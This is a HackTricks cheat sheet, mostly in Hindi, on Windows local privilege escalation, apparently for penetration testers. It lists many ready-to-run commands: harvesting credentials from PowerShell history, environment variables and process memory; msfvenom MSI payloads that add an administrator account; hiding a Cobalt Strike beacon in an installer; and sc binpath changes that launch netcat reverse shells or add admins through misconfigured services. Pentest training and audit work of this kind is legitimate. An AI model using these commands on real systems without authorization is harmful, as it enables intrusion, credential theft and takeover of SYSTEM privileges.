Windows Local Privilege Escalation
Reading time: 67 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Windows local privilege escalation vectors खोजने के लिए सबसे अच्छा टूल: WinPEAS
प्रारंभिक Windows सिद्धांत
Access Tokens
यदि आप नहीं जानते कि Windows Access Tokens क्या हैं, तो जारी रखने से पहले निम्नलिखित पृष्ठ पढ़ें:
ACLs - DACLs/SACLs/ACEs
ACLs - DACLs/SACLs/ACEs के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ देखें:
Integrity Levels
यदि आप नहीं जानते कि Windows में integrity levels क्या हैं, तो जारी रखने से पहले निम्नलिखित पृष्ठ पढ़ें:
Windows सुरक्षा नियंत्रण
Windows में कई अलग-अलग चीजें हैं जो आपको सिस्टम को enumerate करने से रोक सकती हैं, executables चलाने से रोक सकती हैं या यहां तक कि आपकी गतिविधियों का detect भी कर सकती हैं। आपको privilege escalation enumeration शुरू करने से पहले निम्नलिखित पृष्ठ को पढ़ना चाहिए और इन सभी defenses mechanisms को enumerate करना चाहिए:
System Info
Version info enumeration
जांचें कि Windows version में कोई ज्ञात vulnerability है या नहीं (लागू किए गए patches भी देखें).
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
संस्करण Exploits
This site Microsoft सुरक्षा कमजोरियों के बारे में विस्तृत जानकारी खोजने के लिए उपयोगी है। इस डेटाबेस में 4,700 से अधिक सुरक्षा कमजोरियाँ हैं, जो Windows environment द्वारा प्रस्तुत massive attack surface को दर्शाती हैं।
सिस्टम पर
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeas has watson embedded)
स्थानीय रूप से सिस्टम जानकारी के साथ
Github repos of exploits:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
पर्यावरण
क्या कोई क्रेडेंशियल/Juicy info env variables में सेव है?
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
PowerShell इतिहास
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
PowerShell ट्रांसक्रिप्ट फ़ाइलें
आप सीख सकते हैं कि इसे कैसे चालू किया जाए: https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell Module Logging
PowerShell pipeline के निष्पादन का विवरण रिकॉर्ड होता है — इसमें निष्पादित कमांड, कमांड इनवोकेशन और स्क्रिप्ट के कुछ हिस्से शामिल होते हैं। हालांकि, पूर्ण निष्पादन विवरण और आउटपुट परिणाम हमेशा कैप्चर नहीं हो सकते।
इसे सक्षम करने के लिए, दस्तावेज़ के "Transcript files" सेक्शन में दिए निर्देशों का पालन करें और "Module Logging" को "Powershell Transcription" के बजाय चुनें।
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
Powershell logs से अंतिम 15 events देखने के लिए आप यह चला सकते हैं:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell Script Block Logging
स्क्रिप्ट के निष्पादन की सम्पूर्ण गतिविधियों और सामग्री का पूरा रिकॉर्ड कैप्चर किया जाता है, जिससे यह सुनिश्चित होता है कि कोड का प्रत्येक ब्लॉक चलने के समय दस्तावेजीकृत होता है। यह प्रक्रिया प्रत्येक गतिविधि का एक व्यापक ऑडिट ट्रेल संरक्षित करती है, जो forensics और दुर्भावनापूर्ण व्यवहार के विश्लेषण के लिए मूल्यवान है। निष्पादन के समय सभी गतिविधियों को दस्तावेजीकृत करके, प्रक्रिया के बारे में विस्तृत जानकारी प्रदान की जाती है।
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Script Block के लॉगिंग इवेंट्स Windows Event Viewer में निम्न पथ पर पाए जा सकते हैं: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
पिछले 20 इवेंट्स देखने के लिए आप उपयोग कर सकते हैं:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
इंटरनेट सेटिंग्स
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
ड्राइव्स
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
यदि अपडेट्स httpS के बजाय http के माध्यम से अनुरोध किए जा रहे हों तो आप सिस्टम को compromise कर सकते हैं।
आप यह जांचना शुरू करते हैं कि नेटवर्क non-SSL WSUS update का उपयोग कर रहा है या नहीं, cmd में निम्नलिखित चलाकर:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
या PowerShell में निम्नलिखित:
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
यदि आपको इनमें से किसी एक जैसा उत्तर मिलता है:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer
or Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"
is equals to 1
.
तो, it is exploitable. यदि आख़िरी रजिस्ट्री का मान 0 है, तो WSUS एंट्री को अनदेखा कर दिया जाएगा।
इन कमजोरियों का फायदा उठाने के लिए आप ऐसे टूल्स का उपयोग कर सकते हैं: Wsuxploit, pyWSUS - ये MiTM weaponized exploits scripts हैं जो non-SSL WSUS ट्रैफ़िक में 'fake' अपडेट्स इंजेक्ट करते हैं।
Read the research here:
WSUS CVE-2020-1013
Read the complete report here.
बुनियादी तौर पर, यह वह दोष है जिसका यह बग फायदा उठाता है:
यदि हमारे पास लोकल यूज़र प्रॉक्सी को संशोधित करने की क्षमता है, और Windows Updates Internet Explorer की सेटिंग्स में कॉन्फ़िगर किए गए प्रॉक्सी का उपयोग करता है, तो हम लोकली PyWSUS चला कर अपनी ही ट्रैफ़िक को इंटरसेप्ट कर सकते हैं और अपने एसेट पर elevated user के रूप में कोड चला सकते हैं।
इसके अलावा, चूँकि WSUS सेवा current user की सेटिंग्स का उपयोग करती है, यह उसके certificate store का भी उपयोग करेगी। यदि हम WSUS hostname के लिए एक self-signed certificate जनरेट करें और इसे current user के certificate store में जोड़ दें, तो हम HTTP और HTTPS दोनों WSUS ट्रैफ़िक को इंटरसेप्ट करने में सक्षम होंगे। WSUS किसी HSTS-like मैकेनिज़्म का उपयोग नहीं करता जो certificate पर trust-on-first-use प्रकार की वैलिडेशन लागू करे। यदि प्रस्तुत किया गया certificate user द्वारा trusted है और उसमें सही hostname है, तो सेवा द्वारा इसे स्वीकार कर लिया जाएगा।
You can exploit this vulnerability using the tool WSUSpicious (once it's liberated).
Third-Party Auto-Updaters and Agent IPC (local privesc)
Many enterprise agents expose a localhost IPC surface and a privileged update channel. If enrollment can be coerced to an attacker server and the updater trusts a rogue root CA or weak signer checks, a local user can deliver a malicious MSI that the SYSTEM service installs. See a generalized technique (based on the Netskope stAgentSvc chain – CVE-2025-0309) here:
KrbRelayUp
A local privilege escalation vulnerability exists in Windows domain environments under specific conditions. These conditions include environments where LDAP signing is not enforced, users possess self-rights allowing them to configure Resource-Based Constrained Delegation (RBCD), and the capability for users to create computers within the domain. It is important to note that these requirements are met using default settings.
Find the exploit in https://github.com/Dec0ne/KrbRelayUp
For more information about the flow of the attack check https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
AlwaysInstallElevated
If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi
files as NT AUTHORITY\SYSTEM.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Metasploit payloads
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
यदि आपके पास एक meterpreter सेशन है, तो आप इस तकनीक को मॉड्यूल exploit/windows/local/always_install_elevated
का उपयोग करके ऑटोमेट कर सकते हैं
PowerUP
power-up के Write-UserAddMSI
कमांड का उपयोग करें ताकि वर्तमान डायरेक्टरी के अंदर एक Windows MSI binary बनाया जा सके जो privileges escalate करे। यह स्क्रिप्ट एक precompiled MSI installer लिखकर रखती है जो user/group addition के लिए prompt करता है (इसलिए आपको GIU access की आवश्यकता होगी):
Write-UserAddMSI
सिर्फ बनाया गया binary चलाएँ ताकि privileges बढ़ सकें।
MSI Wrapper
Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a ".bat" file if you just want to execute command lines
WIX के साथ MSI बनाना
Visual Studio के साथ MSI बनाना
- Cobalt Strike या Metasploit के साथ
C:\privesc\beacon.exe
में एक नया Windows EXE TCP payload Generate करें - Visual Studio खोलें, Create a new project चुनें और खोज बॉक्स में "installer" टाइप करें। Setup Wizard प्रोजेक्ट चुनें और Next पर क्लिक करें।
- प्रोजेक्ट को एक नाम दें, जैसे AlwaysPrivesc, स्थान के लिए
C:\privesc
का उपयोग करें, place solution and project in the same directory चुनें, और Create पर क्लिक करें। - तब तक Next पर क्लिक करते रहें जब तक आप step 3 of 4 (choose files to include) पर नहीं पहुँच जाते। Add पर क्लिक करें और अपने द्वारा अभी जिनरेट किया गया Beacon payload चुनें। फिर Finish पर क्लिक करें।
- Solution Explorer में AlwaysPrivesc प्रोजेक्ट को हाइलाइट करें और Properties में TargetPlatform को x86 से x64 में बदलें।
- अन्य properties भी बदल सकते हैं, जैसे Author और Manufacturer जो इंस्टॉल किए गए ऐप को अधिक वैध दिखा सकते हैं।
- प्रोजेक्ट पर राइट-क्लिक करें और View > Custom Actions चुनें।
- Install पर राइट-क्लिक करें और Add Custom Action चुनें।
- Application Folder पर डबल-क्लिक करें, अपनी beacon.exe फाइल चुनें और OK पर क्लिक करें। इससे यह सुनिश्चित होगा कि installer चलते ही beacon payload execute हो जाएगा।
- Custom Action Properties के तहत Run64Bit को True में बदलें।
- अंत में, build it।
- अगर warning
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'
दिखाई दे, तो सुनिश्चित करें कि आपने प्लेटफ़ॉर्म को x64 पर सेट किया है।
MSI Installation
दुर्भावनापूर्ण .msi
फ़ाइल की installation को बैकग्राउंड में चलाने के लिए:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
To exploit this vulnerability आप उपयोग कर सकते हैं: exploit/windows/local/always_install_elevated
एंटीवायरस और डिटेक्टर
ऑडिट सेटिंग्स
ये सेटिंग्स तय करती हैं कि क्या लॉग किया जा रहा है, इसलिए आपको ध्यान देना चाहिए
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwarding, यह जानना उपयोगी है कि logs कहाँ भेजे जाते हैं
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPS का उपयोग local Administrator passwords के प्रबंधन के लिए किया जाता है, यह सुनिश्चित करते हुए कि प्रत्येक पासवर्ड अद्वितीय, यादृच्छिक, और नियमित रूप से अपडेट किया जाता है उन कंप्यूटरों पर जो domain से जुड़े होते हैं। ये पासवर्ड Active Directory में सुरक्षित रूप से संग्रहीत होते हैं और केवल उन उपयोगकर्ताओं द्वारा एक्सेस किए जा सकते हैं जिन्हें ACLs के माध्यम से पर्याप्त अनुमतियाँ दी गई हों, जिससे वे अधिकृत होने पर local admin passwords देख सकें।
WDigest
यदि सक्रिय हो, plain-text passwords are stored in LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA Protection
Windows 8.1 से शुरू होकर, Microsoft ने Local Security Authority (LSA) के लिए उन्नत सुरक्षा पेश की ताकि अनविश्वसनीय प्रक्रियाओं द्वारा इसकी मेमोरी पढ़ने या कोड इंजेक्ट करने के प्रयासों को ब्लॉक किया जा सके, जिससे सिस्टम और सुरक्षित हो।
LSA Protection के बारे में अधिक जानकारी यहाँ.
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credentials Guard
Credential Guard को Windows 10 में पेश किया गया था। इसका उद्देश्य डिवाइस पर संग्रहीत credentials को pass-the-hash attacks जैसे खतरों से सुरक्षित रखना है.| More info about Credentials Guard here.
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
Cached Credentials
Domain credentials को Local Security Authority (LSA) द्वारा प्रमाणित किया जाता है और operating system components द्वारा उपयोग किया जाता है। जब किसी उपयोगकर्ता का logon data किसी registered security package द्वारा प्रमाणित किया जाता है, तो आम तौर पर उस उपयोगकर्ता के लिए domain credentials स्थापित कर दिए जाते हैं।
More info about Cached Credentials here.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
उपयोगकर्ता और समूह
उपयोगकर्ता और समूह सूचीबद्ध करें
आपको यह जांचना चाहिए कि जिन समूहों के आप सदस्य हैं उनमें से किसी के पास दिलचस्प permissions तो नहीं हैं।
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
विशेषाधिकार प्राप्त समूह
यदि आप किसी विशेषाधिकार प्राप्त समूह के सदस्य हैं तो आप विशेषाधिकार बढ़ा सकते हैं। विशेषाधिकार प्राप्त समूहों और उन्हें दुरुपयोग करके विशेषाधिकार बढ़ाने के बारे में यहाँ जानें:
Token हेरफेर
और अधिक जानें कि token क्या है इस पृष्ठ पर: Windows Tokens.
निम्नलिखित पृष्ठ देखें ताकि आप दिलचस्प tokens के बारे में जानें और उन्हें कैसे दुरुपयोग करें:
लॉग्ड उपयोगकर्ता / सत्र
qwinsta
klist sessions
होम फ़ोल्डर्स
dir C:\Users
Get-ChildItem C:\Users
पासवर्ड नीति
net accounts
क्लिपबोर्ड की सामग्री प्राप्त करें
powershell -command "Get-Clipboard"
चल रहे Processes
फ़ाइल और फ़ोल्डर अनुमतियाँ
सबसे पहले, processes की सूची बनाते समय process की command line के अंदर passwords देखें.
जाँचें कि क्या आप किसी चल रहे binary को overwrite कर सकते हैं या अगर आपके पास binary फ़ोल्डर की write permissions हैं ताकि आप संभावित DLL Hijacking attacks का शोषण कर सकें:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Always check for possible electron/cef/chromium debuggers running, you could abuse it to escalate privileges.
processes binaries के permissions की जांच
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
प्रोसेस बाइनरीज़ के फोल्डरों की permissions की जाँच (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
मेमोरी पासवर्ड माइनिंग
आप चल रहे प्रोसेस का मेमोरी डंप procdump from sysinternals का उपयोग करके बना सकते हैं। FTP जैसी सेवाओं में अक्सर credentials in clear text in memory होते हैं — मेमोरी डंप करके credentials पढ़ने की कोशिश करें।
procdump.exe -accepteula -ma <proc_name_tasklist>
असुरक्षित GUI ऐप्स
SYSTEM के रूप में चलने वाले Applications उपयोगकर्ता को CMD खोलने या डायरेक्टरीज़ ब्राउज़ करने की अनुमति दे सकते हैं।
उदाहरण: "Windows Help and Support" (Windows + F1), "command prompt" खोजें, "Click to open Command Prompt" पर क्लिक करें
सेवाएँ
सेवाओं की सूची प्राप्त करें:
net start
wmic service list brief
sc query
Get-Service
अनुमतियाँ
आप किसी सेवा की जानकारी प्राप्त करने के लिए sc का उपयोग कर सकते हैं
sc qc <service_name>
यह अनुशंसा की जाती है कि प्रत्येक service के लिए आवश्यक privilege level की जाँच करने हेतु Sysinternals का binary accesschk मौजूद हो।
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
यह सुझाव दिया जाता है कि जांचें कि "Authenticated Users" किसी भी सेवा में संशोधन कर सकते हैं या नहीं:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
You can download accesschk.exe for XP for here
सेवा सक्षम करें
यदि आपको यह त्रुटि आ रही है (उदाहरण के लिए SSDPSRV के साथ):
सिस्टम त्रुटि 1058 हुई है.
सेवा शुरू नहीं की जा सकती, या तो क्योंकि यह अक्षम है या क्योंकि इसके साथ कोई सक्षम डिवाइस संबद्ध नहीं है.
आप इसे निम्न का उपयोग करके सक्षम कर सकते हैं
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
ध्यान दें कि सेवा upnphost काम करने के लिए SSDPSRV पर निर्भर करती है (for XP SP1)
एक अन्य workaround इस समस्या का यह है कि निम्नलिखित चलाएँ:
sc.exe config usosvc start= auto
Modify service binary path
यदि किसी सेवा पर "Authenticated users" समूह के पास SERVICE_ALL_ACCESS है, तो सेवा के निष्पादन योग्य बाइनरी को संशोधित करना संभव है। संशोधित करने और निष्पादित करने के लिए sc:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
सेवा पुनरारंभ करें
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
अधिकार विभिन्न अनुमतियों के माध्यम से बढ़ाए जा सकते हैं:
- SERVICE_CHANGE_CONFIG: सेवा बाइनरी का पुनः कॉन्फ़िगरेशन करने की अनुमति देता है।
- WRITE_DAC: अनुमति पुनः कॉन्फ़िगरेशन सक्षम करता है, जिससे service कॉन्फ़िगरेशन बदलने की क्षमता मिलती है।
- WRITE_OWNER: मालिकाना हासिल करने और अनुमति पुनः कॉन्फ़िगरेशन की अनुमति देता है।
- GENERIC_WRITE: service कॉन्फ़िगरेशन बदलने की क्षमता प्रदान करता है।
- GENERIC_ALL: यह भी service कॉन्फ़िगरेशन बदलने की क्षमता प्रदान करता है।
इस कमज़ोरी का पता लगाने और शोषण करने के लिए, exploit/windows/local/service_permissions का उपयोग किया जा सकता है।
Services बाइनरीज़ की कमजोर अनुमतियाँ
जाँचें कि क्या आप उस बाइनरी को बदल सकते हैं जिसे कोई सेवा निष्पादित करती है या क्या आपके पास उस फ़ोल्डर पर write permissions हैं जहाँ बाइनरी स्थित है (DLL Hijacking).
आप wmic का उपयोग करके उस सेवा द्वारा निष्पादित प्रत्येक बाइनरी प्राप्त कर सकते हैं (not in system32) और अपनी permissions की जाँच icacls से कर सकते हैं:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
आप sc और icacls का भी उपयोग कर सकते हैं:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
सर्विस रजिस्ट्री संशोधन अनुमतियाँ
आपको यह जांचना चाहिए कि क्या आप किसी भी सर्विस रजिस्ट्री को संशोधित कर सकते हैं।
आप किसी सर्विस रजिस्ट्री पर अपनी अनुमतियाँ जांच कर यह पता लगा सकते हैं:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
जांचना चाहिए कि क्या Authenticated Users या NT AUTHORITY\INTERACTIVE के पास FullControl
permissions हैं। यदि हाँ, तो सेवा द्वारा निष्पादित बाइनरी को बदला जा सकता है।
निष्पादित बाइनरी के Path को बदलने के लिए:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
Services registry AppendData/AddSubdirectory permissions
यदि आपके पास किसी registry पर यह permission है, तो इसका मतलब है कि आप इस रजिस्ट्री से सब-रजिस्ट्री बना सकते हैं। Windows services के मामले में यह मनमाना कोड चलाने के लिए पर्याप्त है:
AppendData/AddSubdirectory permission over service registry
बिना उद्धरण वाले Service Paths
यदि executable का path उद्धरण (quotes) के अंदर नहीं है, तो Windows स्पेस से पहले के हर हिस्से को execute करने की कोशिश करेगा।
उदाहरण के लिए, path C:\Program Files\Some Folder\Service.exe के लिए Windows निम्नलिखित execute करने की कोशिश करेगा:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
सभी unquoted service paths सूचीबद्ध करें, जो built-in Windows services से संबंधित न हों:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
आप इसका पता लगा सकते हैं और exploit कर सकते हैं metasploit के साथ: exploit/windows/local/trusted\_service\_path
आप मैन्युअली metasploit के साथ एक service binary बना सकते हैं:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
रिकवरी क्रियाएँ
Windows उपयोगकर्ताओं को यह निर्दिष्ट करने की अनुमति देता है कि किसी service के fail होने पर कौन‑सी actions ली जाएँ। इस feature को किसी binary की ओर point करने के लिए configure किया जा सकता है। यदि यह binary replaceable है, तो privilege escalation संभव हो सकता है। अधिक विवरण के लिए देखें official documentation.
एप्लिकेशन
इंस्टॉल किए गए एप्लिकेशन
जाँचें permissions of the binaries (शायद आप किसी को overwrite करके privileges escalate कर सकें) और folders की permissions (DLL Hijacking).
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
लिखने की अनुमतियाँ
जाँचें कि क्या आप किसी config file को संशोधित कर सकते हैं ताकि किसी विशेष फ़ाइल को पढ़ा जा सके, या क्या आप किसी binary को संशोधित कर सकते हैं जिसे Administrator account (schedtasks) द्वारा चलाया जाएगा।
सिस्टम में कमजोर folder/files permissions खोजने का एक तरीका है:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
स्टार्टअप पर चलाएँ
जाँच करें कि क्या आप किसी registry या binary को ओवरराइट कर सकते हैं जो किसी अलग उपयोगकर्ता द्वारा execute किया जाएगा।
Read उस निम्नलिखित पृष्ठ को पढ़ें ताकि आप रोचक autoruns locations to escalate privileges के बारे में और जान सकें:
Privilege Escalation with Autoruns
ड्राइवर्स
संभावित third party weird/vulnerable drivers की तलाश करें
driverquery
driverquery.exe /fo table
driverquery /SI
यदि कोई ड्राइवर arbitrary kernel read/write primitive प्रदर्शित करता है (अक्सर poorly designed IOCTL handlers में), आप सीधे kernel memory से एक SYSTEM token चुरा कर privilege escalate कर सकते हैं। स्टेप‑बाय‑स्टेप तकनीक यहाँ देखें:
Arbitrary Kernel Rw Token Theft
device objects पर FILE_DEVICE_SECURE_OPEN की कमी का दुरुपयोग (LPE + EDR kill)
